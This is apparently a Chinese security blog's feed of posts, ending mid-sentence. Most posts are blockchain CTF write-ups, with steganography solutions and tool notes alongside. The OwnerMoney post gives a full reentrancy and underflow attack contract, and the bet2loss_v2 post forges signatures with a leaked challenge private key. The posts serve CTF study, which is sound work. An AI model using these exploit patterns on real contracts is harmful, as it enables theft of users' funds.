<content type="text"><![CDATA[前言 看了蜜罐合约的一些知识,感觉非常有意思 蜜罐合约的利用点大都很巧妙,目的都是为了诱惑你向合约里送钱 这篇文章就不对哪个蜜罐合约实例做具体的分析了,如果带佬想看的话,可以参考分析一个有趣的蜜罐合约 和 以太坊蜜罐智能合约分析,这里只记录一下自己的心得 etherscan 上有一个可见交易的机制,在 etherscan 上对于合约与合约直接的消息传送,当 msg.value = 0 时它是不显示的,因为它们被视为合约间的相互调用而不是一笔交易.所以当我们拿到一个合约地址时,用 etherscan 查看该合约地址的交易并不一定是全部的交易信息.但看不到的这部分信息可以通过 etherchain 来查看,比如下面的例子 etherchain 不像 etherscan 自带 decode ,所以需要对 Input 手动解码,可以使用 abi-decoder 工具 对于蜜罐合约,所有的交易记录要详细审计,因为在你拿到合约之前,你不知道是否有其他人(包括合约创建者)对合约进行过操作 蜜罐合约一般只适合在主链上,不适合 CTF 因为蜜罐合约一般只是为了“骗钱”,而刚开始的时候会向里面转些钱,诱使别人向里面充钱,然后把里面的钱提出来,在测试链上,这些钱是无意义的 而且如果一旦有人识破的话,就会有交易记录,如果是在 CTF 比赛里面,其他人就会分析交易记录,就会很容易明白蜜罐合约了,而且一旦有一个人做出来,里面的钱就没了,失去了蜜罐骗钱的意义 以太坊神奇机制很多,对以太坊有一定了解也不要盲目自信,不小心就会栽跟头,牢记天上不会白白掉馅饼,三思而后行]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>蜜罐合约</tag>
</tags>
</entry>
<entry>
<title><![CDATA[DelCTF2020 mc_easybgm]]></title>
<url>%2F2020%2FDelCTF2020-mc-easybgm%2F</url>
<content type="text"><![CDATA[前言 复现 DelCTF2020 mc_easybgm 附件 https://pan.baidu.com/s/178YHh19R5Pquoh74J4jODg 密码: 7m3y Solutions 题目给了提示 hint: easy stego,应该是和 mp3 隐写有关,按照常规思路,有三种思路: 直接查找 flag 查看该音频文件的波形图、频谱图,是否存在相关信息可以转化为摩斯电码 查看 mp3 中是否含有隐藏文件,提取文件 对于该题目来说,都没有什么结果,查阅到 mp3 音频帧存在帧头信息,可参考如下链接: https://blog.csdn.net/jeffchenbiao/article/details/7332863?%3E https://www.eefocus.com/lynn19861207/blog/10-03/187260_eae32.html 发现存在保留字位 private bit 可控写入信息,因此,只需要提取每一个 mf 组中的该位,组合起来,就是答案 可以从图中看到 ms 开始位为 0x28A3 ,即第 10403 字节 12345678910111213uint32 frame_sync : 12uint32 mpeg_id : 1uint32 layer_id : 2uint32 protection_bit : 1uint32 bitrate_index : 4uint32 frequency_index : 2uint32 padding_bit : 1uint32 private_bit : 1uint32 channel_mode : 2uint32 mode_extension : 2uint32 copyright : 1uint32 original : 1uint32 emphasis : 2 总共 12+1+2+1+4+2+1+1+2+2+1+1+2=32 ,即总共 4 字节, private_bit 为 24 ,所在的字节为第 3 个字节,因此该字节对应的地址为 10403+2=10405 观察每一个 mf 组,大小都为 0x1A1 , 即 417 字节 可通过写脚本解决,如下: 12345678910111213import reimport binasciin = 10405result = ''fina = ''file = open('C:/Users/lenovo/Desktop/bgm.mp3','rb')while n < 1369844 : file.seek(n,0) n += 417 file_read_result = file.read(1) read_content = bin(ord(file_read_result))[-1] result = result + read_contentprint result 输出如下: 1101111101000010010101110011010101000001001010110110011000010001011111010001000101000110001001110000011001110101011111010001011100110001000101100010010101100001011001100111011001001011010110010111110100000110000101110111110101100110010110110000011001100011010001100110011001110101011011110011000100010101011000010100011001010011000100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 后面一堆 0 串都不要,只保留到 8 的倍数刚好完成,后面的 0 全部舍弃,同时将保留的数据反转,并且 8 个一组分割开,转成字符串即可 123456789import refina = ''result = '010001000110010100110001010000110101010001000110011110110101011100110011001100010110001100110000011011010011001101011111011101000011000001011111010011010110100100110111001100110100001101010010001101000100011001110100010111110101011100110000011100100011000101000100010111110100010000110011011010100100000101010110011101010010000101111101'textArr = re.findall('.{'+str(8)+'}', result)# textArr.append(result[(len(textArr)*8):])for i in textArr: fina = fina + chr(int(i,2)).strip('\n')print fina 最后输出如下: 参考 参考https://l1near.top/index.php/2020/05/06/52.htmlhttps://www.cnpanda.net/ctf/342.html]]></content>
<categories>
<category>Misc</category>
</categories>
<tags>
<tag>misc</tag>
<tag>DelCTF2020</tag>
<tag>mc_easybgm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[NPUCTF2020 碰上彩虹,吃定彩虹!]]></title>
<url>%2F2020%2FNPUCTF2020-rainbow%2F</url>
<content type="text"><![CDATA[前言 复现 NPUCTF2020 碰上彩虹,吃定彩虹! 附件 https://pan.baidu.com/s/1Ok_xleNJ_VDqVYUnYpWIJQ 密码: ijdv Solutions 下载附件并解压,有三个文件:lookatme.txt、maybehint.txt 和 secret 打开 lookatme.txt 发现文件是一串数字,全选以后发现最下方有几个空格和TAB换行组成的空。联想到是摩斯密码,空格 = .,TAB = - 翻译出来的摩斯密码是:.- ..- - --- -.- . -.-- ,解密得到密文 autokey ,根据解出来的密文可以判断上面的字符串经过了 autokey 加密 再看一下 maybehint.txt ,提示在txt中隐藏了一些东⻄,用 vim 查看 很明显为零宽度字符隐写,且由、、这三种字符组成, 去此网站解密,得到 do u know NTFS? 如下图 用 ntfsstreamseditor 提取如下 稍加观察可以发现其中只有几种字符,而且都为重复的,据此可以尝试词频分析 1234from collections import Counterf=open('out.txt','r')f_read=f.read()print Counter(f_read) 得到结果为这几种字符从多到少的排列顺序,组合在一起得到 ZW5jcnlwdG8= , base64 解密得到 encrypto ,百度 encrypto 可知其是一个加密软件,下载后尝试用其加密一个文件,可以得知经过其加密的文件后缀名为 crypto,将 secret 文件后缀名改为 secret.crypto 即可打开文件 可以看到文件被加密,想到 autokey,但是由于没有给出加密密钥,所以需要对其进行 爆破,参考 此网址,当然,在 break_autokey 也准备好了,运行结果如下图 结合 hint 小写, 密码为 iamthepasswd 可是用此密码解这个加密文件时却一直解不开,再结合题目描述中加粗的括号删掉,推 测是否在文件中还隐藏了什么信息,用 strings 命令查看一下文件可以发现这样一条信息 1(Oh!Youcaughtme!But...) 将其删去后再次尝试解密,即可成功解密,解密后得到一张 彩虹.png 图片, binwalk 查看有个压缩包, 用 foremost 分离得到一个加密压缩包,所以现在需要寻找密码 仔细观察图片可以发现,由五种不同颜色的横条分隔开的六块⻩色有略微深浅的差异, 用 gimp 或 ps 打开提取一下颜色 分别提取一下六种⻩色,可以发现他们颜色的 HTML标记 只有最后两位不同,从上到下 依次为70、40、73、73、57、64,将这几个数组合在一起,用 Converter 的 Hex to Text ,或者 python 的 decode('hex') ,就可以得到解压密码 解压后得到 docx 文件,想到 word 隐写,显示隐藏文字 仔细观察上面的一⻓串字母,可以在众多的小写字母中发现几个大写字母,按照顺序组合起来得到 ALPHUCK, 查阅可知是一种 Programming Language ,只由 a,c,e,i,j,o,p,s 这 8 个小写字母组成,所以删去上面的几个大写字母,在线网站解码一下即可得到 flag]]></content>
<categories>
<category>Misc</category>
</categories>
<tags>
<tag>misc</tag>
<tag>npuctf2020</tag>
</tags>
</entry>
<entry>
<title><![CDATA[nodejs 监听私有链pending交易并自动miner]]></title>
<url>%2F2020%2Fauto-pending-miner%2F</url>
<content type="text"><![CDATA[前言nodejs 监听私有链 pending 交易并自动 miner 123456789101112131415161718192021222324252627const Web3 = require('web3')var web3 = new Web3()//web3 = new Web3(new Web3.providers.IpcProvider('', ipcProviderWrapper))const web3Admin = require('./web3admin.js')web3.setProvider(new web3.providers.HttpProvider('http://localhost:8548'))web3Admin.extend(web3)function sleep(millis) { return new Promise(function (resolve, reject) { setTimeout(function () { resolve(); }, millis); });}async function main(){ while(1){ if(web3.txpool.status['pending']==1){ console.log("turning off mining", web3.miner.start()); console.log("isMining?", web3.eth.mining); }else{ console.log("turning off mining", web3.miner.stop()); console.log("isMining?", web3.eth.mining); await sleep(10000); } }}main()]]></content>
<categories>
<category>Scripts</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>geth</tag>
</tags>
</entry>
<entry>
<title><![CDATA[geth --rpcaddr]]></title>
<url>%2F2020%2Fprivate%2F</url>
<content type="text"><![CDATA[前言 最近在内网环境下出区块链的题目,因为是内网,所以考虑自己搭建私链,因为考虑内网环境 flag 的发送问题,所以使用 web3.py + django + nginx 的形式 记录一下使用 geth 搭建私链的坑 随便写一写,想到哪写到哪 启动私有链的时候要注意 --rpcaddr 选项 rpcaddr 默认是 localhost ,如果没有明确指定 ip ,那么 geth attach 通过 TCP 连接只能是 geth attach http://localhost:port 如果 rpcaddr 明确指定了 ip ,那么即使在本地主机,也无法通过 Web3.HTTPProvider('http://localhost:8545') 连接,被这个坑了两个多小时,一开始一直是 requests.exceptions.ConnectionError 的错误,头皮发麻,后来静下心来仔细想了一下,才想到是这个原因,做个笔记长个记性]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>geth</tag>
</tags>
</entry>
<entry>
<title><![CDATA[机械键盘-键帽]]></title>
<url>%2F2020%2Fkeyboard%2F</url>
<content type="text"><![CDATA[前言 记录每个阶段想要记录的东西 入了机械键盘的坑…… 好看的键帽 随意写一写…… 键帽 键帽高度 常见键帽高度按从高到低排列为:OEM(代工厂) - SP - Cherry(原厂) 球帽分为 SA - DSA ,DSA 高度从侧面看没有明显的人体工程学曲线, SA 则有符合人体工程学的曲线。 键帽材质:主要分为 ABS 、PBT 、POM 三种 使用较多的是 ABS 和 PBT 具体细节原理我就没有去了解,只知道手感好,但容易打油,最好还是选用 PBT 热升华或者二色成型 好看的键帽 只是个人认为好看的,勿喷233333 奶瓶柯基是 2020-03-22 晚上 20:00 开售,限量 130 套 排骨电耗子 排骨柴犬 奶瓶柯基黄 奶瓶柯基粉 奶瓶龙猫 奶瓶龙猫 奶瓶电玩]]></content>
<categories>
<category>Keyboard</category>
</categories>
<tags>
<tag>Keyboadrd</tag>
</tags>
</entry>
<entry>
<title><![CDATA[sha256(py2 vs py3)]]></title>
<url>%2F2020%2Fsha256%2F</url>
<content type="text"><![CDATA[前言sha256 工作量证明,python2 和 python3 的不同 python2123456789101112131415def sha256_pj(prefix): chars = ''.join(chr(i) for i in range(32,127)[::-1]) for password_length in range(4,5): for iteration in itertools.product(chars, repeat=password_length): iteration = ''.join(iteration) h = hashlib.sha256() h.update(prefix.encode() + iteration) bits = ''.join(bin(int(i, 16))[2:].zfill(4) for i in h.hexdigest()) print iteration, bits[:18] if bits[:18] == "0"*18: print "The password is: " + iteration return iteration python31234567891011121314151617import hashlib,itertoolsdef sha256_pj(prefix): chars = ''.join(chr(i) for i in range(32,127)[::-1]) for password_length in range(4,5): for iteration in itertools.product(chars, repeat=password_length): iteration = ''.join(iteration) h = hashlib.sha256() h.update((prefix + iteration).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) print(iteration, bits[:18]) if bits[:18] == "0"*18: print("The password is: " + iteration) return iteration]]></content>
<categories>
<category>Scripts</category>
</categories>
<tags>
<tag>Scripts</tag>
<tag>Python2</tag>
<tag>Python3</tag>
</tags>
</entry>
<entry>
<title><![CDATA[OwnerMoney]]></title>
<url>%2F2020%2FOwnerMoney%2F</url>
<content type="text"><![CDATA[前言 高校战“疫”网络安全分享赛区块链 OwnerMoney 题目 以太坊 Ropsten 测试链 合约地址:https://ropsten.etherscan.io/address/0x40a590b70790930ceed4d148bf365eea9e8b35f4 题目:附件下载 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115pragma solidity ^0.4.23;interface Changing { function isOwner(address) view public returns (bool);}contract OwnerMoney { address private owner; address private backup; mapping(address => uint) public balanceOf; mapping(address => bool) public status; mapping(address => uint) public buyTimes; constructor() { owner = msg.sender; backup = msg.sender; } event pikapika_SendFlag(string b64email); modifier onlyOwner(){ require(msg.sender == owner); _; } function payforflag(string b64email) onlyOwner public { require(buyTimes[msg.sender] >= 100); _init(); buyTimes[msg.sender] = 0; address(0x4cfbdFE01DAEF460B925773754821E7461750923).transfer(address(this).balance); emit pikapika_SendFlag(b64email); } function _init() internal { owner = backup; } function change(address _owner) public { Changing tmp = Changing(msg.sender); if(!tmp.isOwner(_owner)){ status[msg.sender] = tmp.isOwner(_owner); } } function change_Owner() { require(tx.origin != msg.sender); require(uint(msg.sender) & 0xfff == 0xfff); if(status[msg.sender] == true){ status[msg.sender] = false; owner = msg.sender; } } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function buy() payable public returns (bool success){ require(tx.origin != msg.sender); require(uint(msg.sender) & 0xfff == 0xfff); require(buyTimes[msg.sender]==0); require(balanceOf[msg.sender]==0); require(msg.value == 1 wei); balanceOf[msg.sender] = 100; buyTimes[msg.sender] = 1; return true; } function sell(uint256 _amount) public returns (bool success){ require(_amount >= 200); require(buyTimes[msg.sender] > 0); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); msg.sender.call.value(_amount)(); _transfer(msg.sender, address(this), _amount); buyTimes[msg.sender] -= 1; return true; } function balance0f(address _address) public view returns (uint256 balance) { return balanceOf[_address]; } function eth_balance() public view returns (uint256 ethBalance){ return address(this).balance; } } Analyse 查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100 想要成为 owner ,可以通过 change_owner 函数实现 change_owner 函数要求必须通过合约调用,而不是外部账户调用,同时要求合约地址最后三位是 0xfff ,可以参考 https://hitcxy.com/2020/generate-address/ status[msg.sender] 要求为 true :可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner()时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100 发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100 exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152pragma solidity ^0.4.23;contract attack1 { address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b ; OwnerMoney target = OwnerMoney(instance_address); bool public flag = true; uint public have_sell = 0; constructor() payable {} function isOwner(address) public returns (bool){ flag = !flag; return flag; } function hack1() { target.change(address(this)); target.change_Owner(); target.buy.value(1)(); } function hack2() { target.sell(200); } function hack3(string b64email) { target.payforflag(b64email); } function() payable { if (have_sell < 1) { have_sell += 1; target.sell(200); } }}contract attack2 { address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b; OwnerMoney target = OwnerMoney(instance_address); constructor() payable {} function hack1() { target.buy.value(1)(); target.transfer(0xde76c7f9fff36f128d153ee068ccd5a0e7b9afff,100); }}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>xctf 高校站“疫”</tag>
<tag>OwnerMoney</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Neat Download Manager Mac]]></title>
<url>%2F2020%2FNeatDownloadManagerMac%2F</url>
<content type="text"><![CDATA[前言 需要从百度云下载一些东西,但迫于太穷,百度云 SVIP 不符合我的身份,就搜集了一些百度云提速下载的方法 之前 windows 是用 Tampermonkey + IDM mac 没有 IDM ,尝试过 folx pro ,无奈没法下载百度云文件 最后找到了 Neat Download Manager ,效果如上图所示(下载速度和网络带宽也有关系),至少不是百度云的几十K或者一百多K了 安装方法 安装油猴 Tampermonkey 安装网盘助手 网盘助手 安装 Neat Download Manager Mac ,链接: https://pan.baidu.com/s/1787cmz7Y60qX1-y32kZtRA 提取码: pika 使用方法目前只能在百度网盘的「管理页面」上使用,也就是这里:https://pan.baidu.com/disk/home 使用浏览器,登录自己的百度网盘帐号。如果是别人分享的资源,可以先存到自己的网盘上 选择要下载的文件,点击页面里的 生成链接 来获取加速下载地址 右键选择 Download By NeatDownloadManager ,然后确定下载]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>tools</tag>
<tag>baiduyun</tag>
</tags>
</entry>
<entry>
<title><![CDATA[ethereum生成特定后缀账号的脚本]]></title>
<url>%2F2020%2Fgenerate-address%2F</url>
<content type="text"><![CDATA[前言ethereum 生成特定后缀账户的脚本,包括 外部账户 和 合约账户 1234567891011121314151617181920212223242526272829303132333435from ethereum import utilsimport os, sys# generate EOA with appendix 1b1bdef generate_eoa1(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not addr.lower().endswith("1b1b"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))# generate EOA with the ability to deploy contract with appendix 1b1bdef generate_eoa2(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))if __name__ == "__main__": if sys.argv[1] == "1": generate_eoa1() elif sys.argv[1] == "2": generate_eoa2() else: print("Please enter valid argument") generate_eoa1 可以直接生成低四位为 1b1b 的外部账户 generate_eoa2 可以生成一个外部账户,该外部账户部署的第一个智能合约的地址低四位为 1b1b]]></content>
<categories>
<category>Scripts</category>
</categories>
<tags>
<tag>Scripts</tag>
<tag>ethereum</tag>
</tags>
</entry>
<entry>
<title><![CDATA[gitalk]]></title>
<url>%2F2020%2Fgitalk%2F</url>
<content type="text"><![CDATA[前言博客增加评论功能啦!!!! 参考https://www.jianshu.com/p/b5f509f25872 Pursue your passion, and everything else will fall into place. This is not being romantic. This is the highest order of pragmatism. —— 加布里埃爾·吉福茲 随便记录一下,没有什么逻辑性↓ 之前博客是部署在 github + coding 上,后来不知道出了什么问题,只有挂全局代理才能访问,后就把博客迁移到了 VPS 上↓ 评论功能其实一直想加上去,由于没有找到合适又好看的,就一直没有加↓ 最初尝试的是 disqus ,挺美观,但无奈由于加载速度问题还是放弃了↓ 偶然发现 gitalk 这个神奇的评论系统,就尝试了一下,还挺顺利,一次就设置成功,效果图也挺好看↓ 博客终于有评论系统啦「啦啦啦」,也可以留言哦 晓月老板的这首歌也好听哦,哈哈哈哈哈]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>Hexo</tag>
<tag>gitalk</tag>
</tags>
</entry>
<entry>
<title><![CDATA[D^3CTF 2019 bet2loss_v2]]></title>
<url>%2F2019%2Fbet2loss-v2%2F</url>
<content type="text"><![CDATA[前言利用刚过去的周末参加了 D^3CTF ,做了一道区块链的题目,在此记录一下: 以太坊 Kovan 测试链 合约地址动态生成,每个队伍合约地址分开(但是分发合约地址的账户是同一个账户,所以说还是可以查到其他人在链上的交易2333) hash-reveal-commit 随机数 出题人采用的是前后台交互的方法,所以题目没有复现,记录下解题的思想 题目要求在上面图里,官方exp入口 题目 exp :https://github.com/hitcxy/blockchain-challenges/tree/master/2019/D3CTF/bet2loss_v2 合约代码主要函数为 placeBet 和 settleBet , placeBet 建立赌博,settleBet 开奖 出题人利用了 hash-reveal-commit 随机数的思想,随机数的实现放在了服务端 用户首先在前台选好下注的方式 之后服务端生成随机数 reveal 、commit、commitLastBlock 及对 commit 和 commitLastBlock 哈希后的签名 signature,signature 中包含 r、s、v,并返回 commit、commitLastBlock、r、s、v 信息 回到前端,web3.js 配合返回的数据向 meta 发起交易,交易成功被打包之后向后台发起请求 settleBet 后端收到请求后对该 commit 做开奖 题目要求是 balanceOf(you) > 300000 ( 题目描述多了一个0,可以看合约里面应该是 300000 ) 12345function PayForFlag() external returns (bool success){ balances[msg.sender] = balances[msg.sender].sub(300000); emit GetFlag("Get flag!"); return true;} 先来看下合约里的 placeBet 代码 123456789101112131415161718192021222324252627282930function placeBet(uint8 betnumber, uint8 modulo, uint40 wager, uint40 commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external { require (msg.sender != croupier, "croupier cannot bet with himself."); require (isContract(msg.sender)==false, "Only bet with real people."); AirdropCheck(); Bet storage bet = bets[commit]; require (bet.player == address(0), "Bet should be in a 'clean' state."); require (balances[msg.sender] >= wager, "no more balances"); require (modulo > 1 && modulo <= MAX_MODULO, "modulo should be within range."); require (betnumber >= 0 && betnumber < modulo, "betnumber should be within range."); require (wager >= MIN_BET && wager <= MAX_BET, "wager should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit)); require (croupier == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid."); lockedInBets = uint128(wager); balances[msg.sender] = balances[msg.sender].sub(uint256(wager)); emit Commit(commit); bet.wager = wager; bet.betnumber = betnumber; bet.modulo = modulo; bet.placeBlockNumber = uint40(block.number); bet.player = msg.sender;} 这里有一个签名验证 12bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));require (croupier == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid."); 根据上述合约里面的签名验证对应修改服务端后台签名验证方式,参考链接为 HCTF2018_bet2loss 123456789101112131415161718192021222324252627def random_num(start=2**20, end=2**30): random = Random() return random.randint(start,end)def random(): result = {'address': config['address'], 'gasPrice': 12000000000} reveal = random_num() result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest() result['commitLastBlock'] = w3.eth.blockNumber + 250 message = binascii.hexlify(result['commitLastBlock'].to_bytes(5,'big')).decode('utf-8')+result['commit'][2:] message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest() signhash = w3.eth.account.signHash(message_hash, private_key=private_key) result['signature'] = {} result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8') result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8') result['signature']['v'] = signhash['v'] for key,value in result.items(): print('{key}:{value}'.format(key = key, value = value)) return result,reveal,w3.eth.blockNumber 这样的话,我们就能够模拟服务端生成随机数了,通过下面的 placeBet 交易便能够通过签名验证,然后通过 settleBet 开奖,需要注意的是,开奖要使用 croupier 对应的私钥签名交易 croupier 对应私钥可以在 HCTF2018_bet2loss 的 settings.py 中找到 private_key = b'o\x08\xd7A\x949\x90t#\x81\xe1"4FU:c\xb3\x8a:\xa8k\xee\xf1\xe9\xfc_\xcfa\xe6m\x12' 不过需要注意的是,这里的 blocknumber 是在交易上链之前获取的,所以这里并不是 placeBet 最后上链的区号,这里我采用了爆破的方法,使用了五个用户账号,blocknumber分别等于 w3.eth.blocknumber + 2(3、4、5、6) 的方式进行交易,如果哪个区号对应在链上开奖中奖的话,就用对应的用户账号继续开奖即可(因为每个账户可以开奖16次,这里中一次奖是 100*1000=100000 ,所以再用第一次获取的随机数开奖3次即可大于 300000) 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152result,reveal,blocknumber = random()print("reveal=",reveal)def placeBet1(): modulo = 100 wager = 1000 blocknumber = w3.eth.blockNumber+2 print("blocknumber=",blocknumber) tmp = binascii.hexlify(reveal.to_bytes(32,'big')).decode('utf-8')+binascii.hexlify(blocknumber.to_bytes(32,'big')).decode('utf-8') tmp_hash = '0x'+sha3.keccak_256(bytes.fromhex(tmp)).hexdigest() print("tmp_hash16=",int(tmp_hash, 16)) betnumber = int(tmp_hash, 16) % modulo print("betnumber=",betnumber) commitLastBlock = result['commitLastBlock'] commit = result['commit'] r = result['signature']['r'] s = result['signature']['s'] v = result['signature']['v'] txn = contract_instance.functions.placeBet(betnumber, modulo, wager, commitLastBlock, int(commit,16), r, s, int(v)).buildTransaction( { 'chainId':3, 'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public1)), 'gas':7600000, 'value':Web3.toWei(0,'ether'), 'gasPrice':w3.eth.gasPrice, } ) signed_txn = w3.eth.account.signTransaction(txn,private_key=private1) res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(res) print(res) return txn_receiptdef settleBet1(): txn = contract_instance.functions.settleBet(reveal).buildTransaction( { 'chainId':3, 'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public_key)), 'gas':7600000, 'value':Web3.toWei(0,'ether'), 'gasPrice':w3.eth.gasPrice, } ) signed_txn = w3.eth.account.signTransaction(txn,private_key=private_key) res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(res) print(res) return txn_receiptprint(settleBet1()) 自己做题当中是第三个用户账户成功开奖,所以用第三个账户再重复三次开奖即可,这里的 reveal 是第一次 placeBet 获取到的 12345678910111213141516171819def settleBet3(): reveal = 0x307e29ef txn = contract_instance.functions.settleBet(reveal).buildTransaction( { 'chainId':3, 'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(public_key)), 'gas':7600000, 'value':Web3.toWei(0,'ether'), 'gasPrice':w3.eth.gasPrice, } ) signed_txn = w3.eth.account.signTransaction(txn,private_key=private_key) res = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(res) print(res) return txn_receiptfor i in range(3): print(settleBet3())]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>D^3CTF</tag>
<tag>bet2loss_v2</tag>
</tags>
</entry>
<entry>
<title><![CDATA[xctf final 2019 Happy_DOuble_Eleven]]></title>
<url>%2F2019%2FHappy-DOuble-Eleven%2F</url>
<content type="text"><![CDATA[前言 前两天设计了一个区块链的题目,其中出现了很多问题,还好在比赛第一天夜里修复了问题,在这里简单记录一下,给各位师傅带来了麻烦,表示歉意(emmm),下面先说明一下每个版本都修复了什么问题 第一个版本我就是头脑发热,把题目设计成 1000 eth 就能拿到 flag ,我真是弟弟行为,还好及时下线 第二个版本是任意地址写条件没有控制的很苛刻,导致天枢利用了这一点,在非预期做出题目之后,把 codex 的 length 给修改成了一个相对小的数值,造成其他队伍没法做题,这一点被有心之人利用了,他们写了个脚本一直攻击刚部署上的合约,修改数组长度(23333,硬生生被玩成了AD) 第三个版本是修复了版本二的问题,应该是可以正常做题的 后来仔细思考了一下,版本三还是有一些问题的,不过选手做题的时候没有遇到,但是担心会出问题,所以就有了最终版本四(其实版本四也有一些问题,在 buy() 中有一条 require(storage[0x02]==1) 限制,虽然在 payforflag 后会回到初始化状态,但是这里头铁使用了 storage 变量,导致一个问题是如果正在解题的队伍使这个条件成立了,恰巧另外一支队伍也正在解题,那么他们就可以乘顺风车,如果这里使用 memory 变量就好了 变更了版本其实主要还是想要让题目按照预期进行求解,给各个队伍造成了麻烦,表示抱歉(2333333…..),下面介绍一下题目 以太坊 Ropsten 测试链 合约地址:https://ropsten.etherscan.io/address/0x168892cb672a747f193eb4aca7b964bfb0aa6476 题目:https://github.com/hitcxy/blockchain-challenges/tree/master/2019/xctf_final/Happy_DOuble_Eleven EVM 逆向 先进行合约逆向,使用 https://ethervm.io/decompile 可以逆向出下面几个关键 function 0x6bc344bc payforflag(string) 要求 msg.sender == storage[0x00] 要求 msg.sender 后 12 位为 0x111 要求 